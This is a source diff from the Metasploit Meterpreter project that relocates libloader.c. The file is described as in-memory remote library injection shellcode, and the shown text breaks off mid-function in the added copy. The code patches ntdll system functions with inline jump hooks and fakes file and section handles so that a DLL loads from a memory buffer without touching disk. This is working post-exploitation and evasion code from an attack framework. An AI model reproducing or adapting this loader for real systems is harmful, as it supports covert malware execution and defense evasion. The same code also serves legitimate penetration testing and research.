a/c/meterpreter/source/server/win/libloader.c +++ b/c/meterpreter/source/metsrv/libloader.c @@ -1,614 +1,614 @@ -/* - * libloader -- In-Memory Remote Library Injection shellcode - * Jarkko Turkulainen - * - * Platforms: Windows NT4/2000/XP/2003 - * - * Credits: - * - * - skape for ideas, nologin, Metasploit - * - * - * ---- - * - * This is a modified version of the original that has been slightly changed - * in order to integrate it with meterpreter. - */ -#include "metsrv.h" -#include -#include -#include - -#include "libloader.h" - -/* NTSTATUS values */ -#define STATUS_SUCCESS 0x00000000 -#define STATUS_IMAGE_NOT_AT_BASE 0x40000003 - -/* Time values */ -#define HIGH_TIME 0x01C422FA -#define LOW_TIME_1 0x7E275CE0 -#define LOW_TIME_2 0x8E275CE0 - -/* Some defines ripped off from DDK */ -typedef struct _FILE_BASIC_INFORMATION { - LARGE_INTEGER CreationTime; - LARGE_INTEGER LastAccessTime; - LARGE_INTEGER LastWriteTime; - LARGE_INTEGER ChangeTime; - ULONG FileAttributes; -} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; - -typedef enum _SECTION_INFORMATION_CLASS { - SectionBasicInformation, - SectionImageInformation -} SECTION_INFORMATION_CLASS; - -typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; - -typedef LONG NTSTATUS; -#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) - -typedef struct _IO_STATUS_BLOCK { - NTSTATUS Status; - ULONG Information; -} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; - -typedef struct _UNICODE_STRING { - USHORT Length; - USHORT MaximumLength; -#ifdef MIDL_PASS - [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; -#else - PWSTR Buffer; -#endif -} UNICODE_STRING; -typedef UNICODE_STRING *PUNICODE_STRING; - -typedef struct _ANSI_STRING { - USHORT Length; - USHORT MaximumLength; - PWSTR Buffer; -} ANSI_STRING, *PANSI_STRING, STRING, *PSTRING; - -typedef enum _SECTION_INHERIT { - ViewShare = 1, - ViewUnmap = 2 -} SECTION_INHERIT; - -typedef struct _OBJECT_ATTRIBUTES { - ULONG Length; - HANDLE RootDirectory; - PUNICODE_STRING ObjectName; - ULONG Attributes; - PVOID SecurityDescriptor; - PVOID SecurityQualityOfService; -} OBJECT_ATTRIBUTES; -typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; - -typedef NTSTATUS (NTAPI *f_NtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); -typedef NTSTATUS (NTAPI *f_NtQueryAttributesFile)(POBJECT_ATTRIBUTES, PFILE_BASIC_INFORMATION); -typedef void (NTAPI *f_NtOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, - PIO_STATUS_BLOCK, ULONG ShareAccess, ULONG); -typedef NTSTATUS (NTAPI *f_NtCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER, - ULONG, ULONG, HANDLE); -typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG, - PLARGE_INTEGER, PULONG, SECTION_INHERIT, ULONG, ULONG); -typedef NTSTATUS (NTAPI *f_NtClose)(HANDLE); - -typedef struct _SHELLCODE_CTX { - - /* Library name */ - char libname[256]; - int liblen; - /* Global offset */ - DWORD offset; - /* Allocated memory sections */ - DWORD file_address; - DWORD mapped_address; - DWORD size_map; - - /* Hook stub functions */ - unsigned char s_NtOpenSection[10]; - unsigned char s_NtQueryAttributesFile[10]; - unsigned char s_NtOpenFile[10]; - unsigned char s_NtCreateSection[10]; - unsigned char s_NtMapViewOfSection[10]; - unsigned char s_NtClose[10]; - - /* Hooked functions */ - DWORD NtOpenSection; - DWORD NtQueryAttributesFile; - DWORD NtOpenFile; - DWORD NtCreateSection; - DWORD NtMapViewOfSection; - DWORD NtClose; - - f_NtOpenSection p_NtOpenSection; - f_NtQueryAttributesFile p_NtQueryAttributesFile; - f_NtOpenFile p_NtOpenFile; - f_NtCreateSection p_NtCreateSection; - f_NtMapViewOfSection p_NtMapViewOfSection; - f_NtClose p_NtClose; - -} SHELLCODE_CTX; - -SHELLCODE_CTX *ctx = NULL; - -#pragma comment(lib, "ws2_32.lib") - -#pragma warning(disable: 4068) - -/* - * Find library name from given unicode string - */ -int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) -{ - int i, j; - - for (i = 0; i < str->Length; i++) - { - for (j = 0; j < ctx->liblen; j++) - { - if (str->Buffer[i + j] != ctx->libname[j]) - break; - } - - /* Match */ - if (j == ctx->liblen) - return 0; - } - - return 1; -} - -/* NtOpenSection hook */ -NTSTATUS NTAPI m_NtOpenSection( - PHANDLE SectionHandle, - ACCESS_MASK DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes) -{ - /* Find our context */ - if (!find_string(ctx, ObjectAttributes->ObjectName)) - { - *SectionHandle = (PHANDLE)ctx->mapped_address; - return STATUS_SUCCESS; - } - - return ctx->p_NtOpenSection(SectionHandle, DesiredAccess, - ObjectAttributes); -} - -/* NtQueryAttributesFile hook */ -NTSTATUS NTAPI m_NtQueryAttributesFile( - POBJECT_ATTRIBUTES ObjectAttributes, - PFILE_BASIC_INFORMATION FileAttributes) -{ - if (!find_string(ctx, ObjectAttributes->ObjectName)) - { - /* - * struct PFILE_BASIC_INFORMATION must be actually filled - * with something sane, otherwise it might break something. - * The values are defined in libloader.h - * - */ - FileAttributes->CreationTime.LowPart = LOW_TIME_1; - FileAttributes->CreationTime.HighPart = HIGH_TIME; - FileAttributes->LastAccessTime.LowPart = LOW_TIME_2; - FileAttributes->LastAccessTime.HighPart = HIGH_TIME; - FileAttributes->LastWriteTime.LowPart = LOW_TIME_1; - FileAttributes->LastWriteTime.HighPart = HIGH_TIME; - FileAttributes->ChangeTime.LowPart = LOW_TIME_1; - FileAttributes->ChangeTime.HighPart = HIGH_TIME; - FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL; - return STATUS_SUCCESS; - } - - return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes); -} - -/* NtOpenFile hook */ -void NTAPI m_NtOpenFile( - PHANDLE FileHandle, - ACCESS_MASK DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PIO_STATUS_BLOCK IoStatusBlock, - ULONG ShareAccess, - ULONG OpenOptions) -{ - if (!find_string(ctx, ObjectAttributes->ObjectName)) - { - *FileHandle = (PVOID)ctx->mapped_address; - return; - } - - ctx->p_NtOpenFile( - FileHandle, - DesiredAccess, - ObjectAttributes, - IoStatusBlock, - ShareAccess, - OpenOptions); - - return; -} - -/* NtCreateSection hook */ -NTSTATUS NTAPI m_NtCreateSection( - PHANDLE SectionHandle, - ULONG DesiredAccess, - POBJECT_ATTRIBUTES ObjectAttributes, - PLARGE_INTEGER MaximumSize, - ULONG PageAttributes, - ULONG SectionAttributes, - HANDLE FileHandle) -{ - if (FileHandle == (HANDLE)ctx->mapped_address) - { - *SectionHandle = (PVOID)ctx->mapped_address; - return STATUS_SUCCESS; - } - - return ctx->p_NtCreateSection( - SectionHandle, - DesiredAccess, - ObjectAttributes, - MaximumSize, - PageAttributes, - SectionAttributes, - FileHandle); -} - - -/* NtMapViewOfSection hook */ -NTSTATUS NTAPI m_NtMapViewOfSection( - HANDLE SectionHandle, - HANDLE ProcessHandle, - PVOID *BaseAddress, - ULONG ZeroBits, - ULONG CommitSize, - PLARGE_INTEGER SectionOffset, - PULONG ViewSize, - SECTION_INHERIT InheritDisposition, - ULONG AllocationType, - ULONG Protect) -{ - if (SectionHandle == (HANDLE)ctx->mapped_address) - { - *BaseAddress = (PVOID)ctx->mapped_address; - *ViewSize = ctx->size_map; - - /* We assume that the image must be relocated */ - return STATUS_IMAGE_NOT_AT_BASE; - } - - return ctx->p_NtMapViewOfSection( - SectionHandle, - ProcessHandle, - BaseAddress, - ZeroBits, - CommitSize, - SectionOffset, - ViewSize, - InheritDisposition, - AllocationType, - Protect); -} - -/* NtClose hook */ -NTSTATUS NTAPI m_NtClose( - HANDLE Handle) -{ - - if (Handle == (HANDLE)ctx->mapped_address) - { - return STATUS_SUCCESS; - } - - return ctx->p_NtClose(Handle); -} - -/* Patch given function */ -void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub, - unsigned char *hook) -{ - DWORD protect; - ULONG bytes; - SIZE_T written; - MEMORY_BASIC_INFORMATION mbi_thunk; - - /* - * Most native NT functions begin with stub like this: - * - * 00000000 B82B000000 mov eax,0x2b ; syscall - * 00000005 8D542404 lea edx,[esp+0x4] ; arguments - * 00000009 CD2E int 0x2e ; interrupt - * - * In offset 0, the actual system call is saved in eax. Syscall - * is 32 bit number (!) so we can assume 5 bytes of preamble size - * for each function.. If there's need to hook other functions, - * a complete disassembler is needed for preamble size counting. - * - */ - bytes = 5; - - /* Create the stub */ - WriteProcessMemory((HANDLE)-1, stub, (char *)address, - bytes, &written); - *(PBYTE)(stub + bytes) = 0xE9; - *(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5); - - - /* Patch original function */ - - /* Fix protection */ - VirtualQuery((char *)address, &mbi_thunk, - sizeof(MEMORY_BASIC_INFORMATION)); - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); - - /* Insert jump */ - *(PBYTE)address = 0xE9; - *(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5); - - - /* Restore protection */ - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - mbi_thunk.Protect, &protect); - FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, - mbi_thunk.RegionSize); - -} - -/* Install hooks, fix addresses */ -void install_hooks(SHELLCODE_CTX *ctx) -{ - f_NtMapViewOfSection lNtMapViewOfSection; - f_NtQueryAttributesFile lNtQueryAttributesFile; - f_NtOpenFile lNtOpenFile; - f_NtCreateSection lNtCreateSection; - f_NtOpenSection lNtOpenSection; - f_NtClose lNtClose; - HMODULE ntdll; - - if (!(ntdll = LoadLibrary(TEXT("ntdll")))) - { - return; - } - - lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); - lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); - lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); - lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); - lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); - lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); - - /* NtMapViewOfSection */ - - /* Patch */ - patch_function(ctx, (UINT_PTR)lNtMapViewOfSection, - ctx->s_NtMapViewOfSection, - (unsigned char *)m_NtMapViewOfSection); - - /* Copy pointer */ - ctx->p_NtMapViewOfSection = - (f_NtMapViewOfSection)ctx->s_NtMapViewOfSection; - - /* NtQueryAttributesFile */ - patch_function(ctx, (UINT_PTR)lNtQueryAttributesFile, - ctx->s_NtQueryAttributesFile, - (unsigned char *)m_NtQueryAttributesFile); - ctx->p_NtQueryAttributesFile = - (f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile; - - /* NtOpenFile */ - patch_function(ctx, (UINT_PTR)lNtOpenFile, ctx->s_NtOpenFile, - (unsigned char *)m_NtOpenFile); - ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile; - - /* NtCreateSection */ - patch_function(ctx, (UINT_PTR)lNtCreateSection, ctx->s_NtCreateSection, - (unsigned char *)m_NtCreateSection); - ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection; - - /* NtOpenSection */ - patch_function(ctx, (UINT_PTR)lNtOpenSection, ctx->s_NtOpenSection, - (unsigned char *)m_NtOpenSection); - ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection; - - /* NtClose */ - patch_function(ctx, (UINT_PTR)lNtClose, ctx->s_NtClose, - (unsigned char *)m_NtClose); - ctx->p_NtClose = (f_NtClose)ctx->s_NtClose; - -} - -/* Restore given function */ -void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char *stub) -{ - DWORD protect; - ULONG bytes; - SIZE_T written; - MEMORY_BASIC_INFORMATION mbi_thunk; - - bytes = 5; - - /* Patch original function */ - - /* Fix protection */ - VirtualQuery((char *)address, &mbi_thunk, - sizeof(MEMORY_BASIC_INFORMATION)); - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); - - /* Copy bytes back to function */ - WriteProcessMemory((HANDLE)-1, (char *)address, stub, - bytes, &written); - - /* Restore protection */ - VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, - mbi_thunk.Protect, &protect); - FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, - mbi_thunk.RegionSize); - -} - -/* Remove hooks */ -void remove_hooks(SHELLCODE_CTX *ctx) -{ - f_NtMapViewOfSection lNtMapViewOfSection; - f_NtQueryAttributesFile lNtQueryAttributesFile; - f_NtOpenFile lNtOpenFile; - f_NtCreateSection lNtCreateSection; - f_NtOpenSection lNtOpenSection; - f_NtClose lNtClose; - HMODULE ntdll; - - if (!(ntdll = LoadLibraryA("ntdll"))) - { - return; - } - - lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); - lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); - lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); - lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); - lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); - lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); - - /* NtMapViewOfSection */ - restore_function(ctx, (DWORD)lNtMapViewOfSection, - ctx->s_NtMapViewOfSection); - - /* NtQueryAttributesFile */ - restore_function(ctx, (DWORD)lNtQueryAttributesFile, - ctx->s_NtQueryAttributesFile); - - /* NtOpenFile */ - restore_function(ctx, (DWORD)lNtOpenFile, ctx->s_NtOpenFile); - - /* NtCreateSection */ - restore_function(ctx, (DWORD)lNtCreateSection, ctx->s_NtCreateSection); - - /* NtOpenSection */ - restore_function(ctx, (DWORD)lNtOpenSection, ctx->s_NtOpenSection); - - /* NtClose */ - restore_function(ctx, (DWORD)lNtClose, ctx->s_NtClose); -} - -/* Map file in memory as section */ -void map_file(SHELLCODE_CTX *ctx) -{ - PIMAGE_NT_HEADERS nt; - PIMAGE_DOS_HEADER dos; - PIMAGE_SECTION_HEADER sect; - int i; - - dos = (PIMAGE_DOS_HEADER)ctx->file_address; - nt = (PIMAGE_NT_HEADERS)(ctx->file_address + dos->e_lfanew); - - /* - * Allocate space for the mapping - * First, try to map the file at ImageBase - * - */ - ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)nt->OptionalHeader.ImageBase, - nt->OptionalHeader.SizeOfImage, - MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - - /* No success, let the system decide.. */ - if (ctx->mapped_address == 0) { - ctx->mapped_address = (DWORD)VirtualAlloc((PVOID)NULL, - nt->OptionalHeader.SizeOfImage, - MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE); - - } - - ctx->size_map = nt->OptionalHeader.SizeOfImage; - - /* Lock the mapping in memory */ - { - ULONG (_stdcall *NtLockVirtualMemory)(HANDLE, PVOID *, PULONG, ULONG); - - NtLockVirtualMemory = (ULONG (_stdcall *)(HANDLE, PVOID *, PULONG, ULONG))GetProcAddress( - GetModuleHandleA("ntdll"), - "NtLockVirtualMemory"); - - if (NtLockVirtualMemory) - { - PVOID base = (PVOID)ctx->mapped_address; - ULONG sz = nt->OptionalHeader.SizeOfImage; - - NtLockVirtualMemory( - (HANDLE)-1, - &base, - &sz, - 1); - } - } - - /* Write headers */ - WriteProcessMemory((HANDLE)-1, (LPVOID)ctx->mapped_address, - (LPVOID)ctx->file_address, nt->OptionalHeader.SizeOfHeaders, 0); - - /* Write sections */ - sect = IMAGE_FIRST_SECTION(nt); - for (i = 0; i < nt->FileHeader.NumberOfSections; i++) { - WriteProcessMemory((HANDLE)-1, - (PCHAR)ctx->mapped_address + sect[i].VirtualAddress, - (PCHAR)ctx->file_address + sect[i].PointerToRawData, - sect[i].SizeOfRawData, 0); - } - -} - -/* - * Load a library in-memory from the provided buffer. - */ -HMODULE libloader_load_library(LPCSTR name, PUCHAR buffer, DWORD bufferLength) -{ - LPCSTR shortName = name, slash = NULL; - HMODULE mod = NULL; - - if ((slash = strrchr(name, '\\'))) - shortName = slash+1; - - ctx = (SHELLCODE_CTX *)VirtualAlloc( - NULL, - sizeof(SHELLCODE_CTX), - MEM_COMMIT, - PAGE_EXECUTE_READWRITE); - - if (!ctx) - return NULL; - - install_hooks(ctx); - - do - { - // The name of the library to load it as - strncpy_s(ctx->libname, sizeof(ctx->libname), shortName, sizeof(ctx->libname) - 1); - ctx->liblen = (int)strlen(ctx->libname) + 1; - - // The address of the raw buffer - ctx->file_address = (DWORD)buffer; - - // Map the buffer into memory - map_file(ctx); - - // Load the fake library - if (!(mod = LoadLibraryA(ctx->libname))) - { - break; - } - - } while (0); - - remove_hooks(ctx); - - VirtualFree(ctx, 0, MEM_RELEASE); - - return mod; -} +/* + * libloader -- In-Memory Remote Library Injection shellcode + * Jarkko Turkulainen + * + * Platforms: Windows NT4/2000/XP/2003 + * + * Credits: + * + * - skape for ideas, nologin, Metasploit + * + * + * ---- + * + * This is a modified version of the original that has been slightly changed + * in order to integrate it with meterpreter. + */ +#include "metsrv.h" +#include +#include +#include + +#include "libloader.h" + +/* NTSTATUS values */ +#define STATUS_SUCCESS 0x00000000 +#define STATUS_IMAGE_NOT_AT_BASE 0x40000003 + +/* Time values */ +#define HIGH_TIME 0x01C422FA +#define LOW_TIME_1 0x7E275CE0 +#define LOW_TIME_2 0x8E275CE0 + +/* Some defines ripped off from DDK */ +typedef struct _FILE_BASIC_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + ULONG FileAttributes; +} FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation +} SECTION_INFORMATION_CLASS; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +typedef LONG NTSTATUS; +#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) + +typedef struct _IO_STATUS_BLOCK { + NTSTATUS Status; + ULONG Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; +#ifdef MIDL_PASS + [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer; +#else + PWSTR Buffer; +#endif +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; + +typedef struct _ANSI_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} ANSI_STRING, *PANSI_STRING, STRING, *PSTRING; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef NTSTATUS (NTAPI *f_NtOpenSection)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES); +typedef NTSTATUS (NTAPI *f_NtQueryAttributesFile)(POBJECT_ATTRIBUTES, PFILE_BASIC_INFORMATION); +typedef void (NTAPI *f_NtOpenFile)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, + PIO_STATUS_BLOCK, ULONG ShareAccess, ULONG); +typedef NTSTATUS (NTAPI *f_NtCreateSection)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, PLARGE_INTEGER, + ULONG, ULONG, HANDLE); +typedef NTSTATUS (NTAPI *f_NtMapViewOfSection)(HANDLE, HANDLE, PVOID *, ULONG, ULONG, + PLARGE_INTEGER, PULONG, SECTION_INHERIT, ULONG, ULONG); +typedef NTSTATUS (NTAPI *f_NtClose)(HANDLE); + +typedef struct _SHELLCODE_CTX { + + /* Library name */ + char libname[256]; + int liblen; + /* Global offset */ + DWORD offset; + /* Allocated memory sections */ + DWORD file_address; + DWORD mapped_address; + DWORD size_map; + + /* Hook stub functions */ + unsigned char s_NtOpenSection[10]; + unsigned char s_NtQueryAttributesFile[10]; + unsigned char s_NtOpenFile[10]; + unsigned char s_NtCreateSection[10]; + unsigned char s_NtMapViewOfSection[10]; + unsigned char s_NtClose[10]; + + /* Hooked functions */ + DWORD NtOpenSection; + DWORD NtQueryAttributesFile; + DWORD NtOpenFile; + DWORD NtCreateSection; + DWORD NtMapViewOfSection; + DWORD NtClose; + + f_NtOpenSection p_NtOpenSection; + f_NtQueryAttributesFile p_NtQueryAttributesFile; + f_NtOpenFile p_NtOpenFile; + f_NtCreateSection p_NtCreateSection; + f_NtMapViewOfSection p_NtMapViewOfSection; + f_NtClose p_NtClose; + +} SHELLCODE_CTX; + +SHELLCODE_CTX *ctx = NULL; + +#pragma comment(lib, "ws2_32.lib") + +#pragma warning(disable: 4068) + +/* + * Find library name from given unicode string + */ +int find_string(SHELLCODE_CTX *ctx, UNICODE_STRING *str) +{ + int i, j; + + for (i = 0; i < str->Length; i++) + { + for (j = 0; j < ctx->liblen; j++) + { + if (str->Buffer[i + j] != ctx->libname[j]) + break; + } + + /* Match */ + if (j == ctx->liblen) + return 0; + } + + return 1; +} + +/* NtOpenSection hook */ +NTSTATUS NTAPI m_NtOpenSection( + PHANDLE SectionHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes) +{ + /* Find our context */ + if (!find_string(ctx, ObjectAttributes->ObjectName)) + { + *SectionHandle = (PHANDLE)ctx->mapped_address; + return STATUS_SUCCESS; + } + + return ctx->p_NtOpenSection(SectionHandle, DesiredAccess, + ObjectAttributes); +} + +/* NtQueryAttributesFile hook */ +NTSTATUS NTAPI m_NtQueryAttributesFile( + POBJECT_ATTRIBUTES ObjectAttributes, + PFILE_BASIC_INFORMATION FileAttributes) +{ + if (!find_string(ctx, ObjectAttributes->ObjectName)) + { + /* + * struct PFILE_BASIC_INFORMATION must be actually filled + * with something sane, otherwise it might break something. + * The values are defined in libloader.h + * + */ + FileAttributes->CreationTime.LowPart = LOW_TIME_1; + FileAttributes->CreationTime.HighPart = HIGH_TIME; + FileAttributes->LastAccessTime.LowPart = LOW_TIME_2; + FileAttributes->LastAccessTime.HighPart = HIGH_TIME; + FileAttributes->LastWriteTime.LowPart = LOW_TIME_1; + FileAttributes->LastWriteTime.HighPart = HIGH_TIME; + FileAttributes->ChangeTime.LowPart = LOW_TIME_1; + FileAttributes->ChangeTime.HighPart = HIGH_TIME; + FileAttributes->FileAttributes = FILE_ATTRIBUTE_NORMAL; + return STATUS_SUCCESS; + } + + return ctx->p_NtQueryAttributesFile(ObjectAttributes, FileAttributes); +} + +/* NtOpenFile hook */ +void NTAPI m_NtOpenFile( + PHANDLE FileHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG ShareAccess, + ULONG OpenOptions) +{ + if (!find_string(ctx, ObjectAttributes->ObjectName)) + { + *FileHandle = (PVOID)ctx->mapped_address; + return; + } + + ctx->p_NtOpenFile( + FileHandle, + DesiredAccess, + ObjectAttributes, + IoStatusBlock, + ShareAccess, + OpenOptions); + + return; +} + +/* NtCreateSection hook */ +NTSTATUS NTAPI m_NtCreateSection( + PHANDLE SectionHandle, + ULONG DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + PLARGE_INTEGER MaximumSize, + ULONG PageAttributes, + ULONG SectionAttributes, + HANDLE FileHandle) +{ + if (FileHandle == (HANDLE)ctx->mapped_address) + { + *SectionHandle = (PVOID)ctx->mapped_address; + return STATUS_SUCCESS; + } + + return ctx->p_NtCreateSection( + SectionHandle, + DesiredAccess, + ObjectAttributes, + MaximumSize, + PageAttributes, + SectionAttributes, + FileHandle); +} + + +/* NtMapViewOfSection hook */ +NTSTATUS NTAPI m_NtMapViewOfSection( + HANDLE SectionHandle, + HANDLE ProcessHandle, + PVOID *BaseAddress, + ULONG ZeroBits, + ULONG CommitSize, + PLARGE_INTEGER SectionOffset, + PULONG ViewSize, + SECTION_INHERIT InheritDisposition, + ULONG AllocationType, + ULONG Protect) +{ + if (SectionHandle == (HANDLE)ctx->mapped_address) + { + *BaseAddress = (PVOID)ctx->mapped_address; + *ViewSize = ctx->size_map; + + /* We assume that the image must be relocated */ + return STATUS_IMAGE_NOT_AT_BASE; + } + + return ctx->p_NtMapViewOfSection( + SectionHandle, + ProcessHandle, + BaseAddress, + ZeroBits, + CommitSize, + SectionOffset, + ViewSize, + InheritDisposition, + AllocationType, + Protect); +} + +/* NtClose hook */ +NTSTATUS NTAPI m_NtClose( + HANDLE Handle) +{ + + if (Handle == (HANDLE)ctx->mapped_address) + { + return STATUS_SUCCESS; + } + + return ctx->p_NtClose(Handle); +} + +/* Patch given function */ +void patch_function(SHELLCODE_CTX *ctx, UINT_PTR address, unsigned char *stub, + unsigned char *hook) +{ + DWORD protect; + ULONG bytes; + SIZE_T written; + MEMORY_BASIC_INFORMATION mbi_thunk; + + /* + * Most native NT functions begin with stub like this: + * + * 00000000 B82B000000 mov eax,0x2b ; syscall + * 00000005 8D542404 lea edx,[esp+0x4] ; arguments + * 00000009 CD2E int 0x2e ; interrupt + * + * In offset 0, the actual system call is saved in eax. Syscall + * is 32 bit number (!) so we can assume 5 bytes of preamble size + * for each function.. If there's need to hook other functions, + * a complete disassembler is needed for preamble size counting. + * + */ + bytes = 5; + + /* Create the stub */ + WriteProcessMemory((HANDLE)-1, stub, (char *)address, + bytes, &written); + *(PBYTE)(stub + bytes) = 0xE9; + *(DWORD *)(stub + bytes + 1) = (DWORD)address - ((DWORD)stub + 5); + + + /* Patch original function */ + + /* Fix protection */ + VirtualQuery((char *)address, &mbi_thunk, + sizeof(MEMORY_BASIC_INFORMATION)); + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + PAGE_EXECUTE_READWRITE, &mbi_thunk.Protect); + + /* Insert jump */ + *(PBYTE)address = 0xE9; + *(DWORD *)(address + 1) = (DWORD)hook - ((DWORD)address + 5); + + + /* Restore protection */ + VirtualProtect(mbi_thunk.BaseAddress, mbi_thunk.RegionSize, + mbi_thunk.Protect, &protect); + FlushInstructionCache((HANDLE)-1, mbi_thunk.BaseAddress, + mbi_thunk.RegionSize); + +} + +/* Install hooks, fix addresses */ +void install_hooks(SHELLCODE_CTX *ctx) +{ + f_NtMapViewOfSection lNtMapViewOfSection; + f_NtQueryAttributesFile lNtQueryAttributesFile; + f_NtOpenFile lNtOpenFile; + f_NtCreateSection lNtCreateSection; + f_NtOpenSection lNtOpenSection; + f_NtClose lNtClose; + HMODULE ntdll; + + if (!(ntdll = LoadLibrary(TEXT("ntdll")))) + { + return; + } + + lNtMapViewOfSection = (f_NtMapViewOfSection)GetProcAddress(ntdll, "NtMapViewOfSection"); + lNtQueryAttributesFile = (f_NtQueryAttributesFile)GetProcAddress(ntdll, "NtQueryAttributesFile"); + lNtOpenFile = (f_NtOpenFile)GetProcAddress(ntdll, "NtOpenFile"); + lNtCreateSection = (f_NtCreateSection)GetProcAddress(ntdll, "NtCreateSection"); + lNtOpenSection = (f_NtOpenSection)GetProcAddress(ntdll, "NtOpenSection"); + lNtClose = (f_NtClose)GetProcAddress(ntdll, "NtClose"); + + /* NtMapViewOfSection */ + + /* Patch */ + patch_function(ctx, (UINT_PTR)lNtMapViewOfSection, + ctx->s_NtMapViewOfSection, + (unsigned char *)m_NtMapViewOfSection); + + /* Copy pointer */ + ctx->p_NtMapViewOfSection = + (f_NtMapViewOfSection)ctx->s_NtMapViewOfSection; + + /* NtQueryAttributesFile */ + patch_function(ctx, (UINT_PTR)lNtQueryAttributesFile, + ctx->s_NtQueryAttributesFile, + (unsigned char *)m_NtQueryAttributesFile); + ctx->p_NtQueryAttributesFile = + (f_NtQueryAttributesFile)ctx->s_NtQueryAttributesFile; + + /* NtOpenFile */ + patch_function(ctx, (UINT_PTR)lNtOpenFile, ctx->s_NtOpenFile, + (unsigned char *)m_NtOpenFile); + ctx->p_NtOpenFile = (f_NtOpenFile)ctx->s_NtOpenFile; + + /* NtCreateSection */ + patch_function(ctx, (UINT_PTR)lNtCreateSection, ctx->s_NtCreateSection, + (unsigned char *)m_NtCreateSection); + ctx->p_NtCreateSection = (f_NtCreateSection)ctx->s_NtCreateSection; + + /* NtOpenSection */ + patch_function(ctx, (UINT_PTR)lNtOpenSection, ctx->s_NtOpenSection, + (unsigned char *)m_NtOpenSection); + ctx->p_NtOpenSection = (f_NtOpenSection)ctx->s_NtOpenSection; + + /* NtClose */ + patch_function(ctx, (UINT_PTR)lNtClose, ctx->s_NtClose, + (unsigned char *)m_NtClose); + ctx->p_NtClose = (f_NtClose)ctx->s_NtClose; + +} + +/* Restore given function */ +void restore_function(SHELLCODE_CTX *ctx, DWORD address, unsigned char 